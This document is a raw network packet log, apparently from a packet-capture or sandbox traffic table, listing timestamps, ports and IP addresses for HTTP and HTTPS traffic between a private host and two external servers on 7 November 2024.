Nov 7, 2024 06:01:12.352339029 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.352425098 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.352479935 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.390126944 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390147924 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390158892 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390216112 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.390248060 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390260935 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390271902 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390299082 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.390341043 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390350103 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.390355110 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390366077 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390399933 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.390413046 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.390444994 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390456915 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390467882 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390501022 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.390526056 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.390552998 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390578032 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390594006 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390605927 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390618086 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390625000 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.390633106 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390650988 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390655994 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.390662909 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390674114 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390707970 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.390727997 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390763998 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.390784025 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390795946 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390826941 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.390839100 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.390876055 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390887976 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390927076 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.390943050 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.390968084 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.391119957 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391135931 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391146898 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391159058 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391159058 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.391170025 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391181946 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391191006 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.391197920 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391208887 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391222000 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.391227007 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391237020 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.391237020 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391252041 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391263008 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.391263962 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391275883 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391288042 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391292095 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.391299009 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391310930 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391328096 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.391331911 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391340017 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.391347885 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391356945 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.391359091 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391371012 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391381979 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391391039 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.391391993 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391406059 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391417027 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391426086 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.391443968 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.391469955 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.391478062 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391490936 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391501904 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391524076 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.391530991 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.391592979 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391604900 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391616106 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391637087 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391647100 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391655922 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391659975 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.391668081 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391679049 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391680956 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.391696930 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391710043 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391720057 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391722918 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.391731977 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391742945 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391751051 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.391758919 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391767025 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.391793966 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.391799927 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391810894 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391853094 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.391856909 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391880035 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.391899109 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.391931057 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.392798901 CET	443	49803	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.392955065 CET	443	49803	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.393141031 CET	49803	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.393287897 CET	49803	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.393304110 CET	443	49803	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.393330097 CET	49803	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.393336058 CET	443	49803	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.396498919 CET	49808	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.396533966 CET	443	49808	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.396589041 CET	49808	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.396760941 CET	49808	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.396770000 CET	443	49808	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.403968096 CET	443	49804	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.404129028 CET	443	49804	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.404201984 CET	49804	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.404431105 CET	49804	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.404453039 CET	443	49804	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.404465914 CET	49804	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.404470921 CET	443	49804	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.407399893 CET	49809	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.407430887 CET	443	49809	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.407494068 CET	49809	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.407634974 CET	49809	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.407648087 CET	443	49809	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.426033974 CET	443	49805	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.426182985 CET	443	49805	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.426316977 CET	49805	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.426583052 CET	49805	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.426604986 CET	443	49805	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.426616907 CET	49805	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.426621914 CET	443	49805	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.429744959 CET	49810	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.429790020 CET	443	49810	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.429877996 CET	49810	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.430006981 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430056095 CET	49810	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.430068016 CET	443	49810	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.430090904 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.430192947 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430211067 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430222988 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430232048 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430243015 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430253983 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430263996 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.430263996 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430279970 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430300951 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430313110 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430321932 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.430324078 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430331945 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.430335999 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430347919 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430358887 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430366993 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.430377007 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430387974 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430397987 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.430399895 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430412054 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430422068 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.430424929 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430438042 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430442095 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.430449009 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430463076 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430474043 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430476904 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.430493116 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430505037 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430510044 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.430527925 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.430553913 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.430690050 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430701971 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430712938 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430723906 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430730104 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.430736065 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430747032 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.430747032 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430759907 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430771112 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430782080 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430783033 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.430794001 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430798054 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.430807114 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430819988 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430830956 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.430865049 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.430918932 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430936098 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430947065 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430958033 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430959940 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.430969954 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430986881 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.430989981 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.430999041 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431005955 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431010008 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431021929 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431026936 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431034088 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431049109 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431060076 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431063890 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431072950 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431086063 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431102991 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431127071 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431138039 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431149006 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431176901 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431193113 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431379080 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431391001 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431401014 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431412935 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431425095 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431436062 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431442022 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431448936 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431464911 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431467056 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431483030 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431485891 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431494951 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431505919 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431516886 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431518078 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431524038 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431529045 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431534052 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431545019 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431545973 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431555986 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431567907 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431576967 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431581974 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431597948 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431605101 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431610107 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431627035 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431627035 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431642056 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431646109 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431658030 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431669950 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431672096 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431684017 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431687117 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431695938 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431708097 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431715965 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431720018 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431734085 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431746006 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431749105 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431756020 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431766987 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431799889 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431828976 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431847095 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431858063 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431869984 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431879997 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431883097 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431895018 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431904078 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431911945 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431922913 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431931973 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431941032 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431953907 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431965113 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431968927 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431977987 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.431978941 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.431991100 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432002068 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432007074 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432024956 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432039022 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432043076 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432054996 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432063103 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432066917 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432080030 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432080984 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432092905 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432100058 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432111979 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432125092 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432127953 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432137012 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432147980 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432153940 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432167053 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432178974 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432180882 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432189941 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432202101 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432221889 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432221889 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432228088 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432240963 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432250977 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432256937 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432261944 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432264090 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432264090 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432274103 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432287931 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432292938 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432301044 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432315111 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432323933 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432327986 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432339907 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432343960 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432358027 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432368994 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432374954 CET	49797	80	192.168.2.4	185.215.113.16
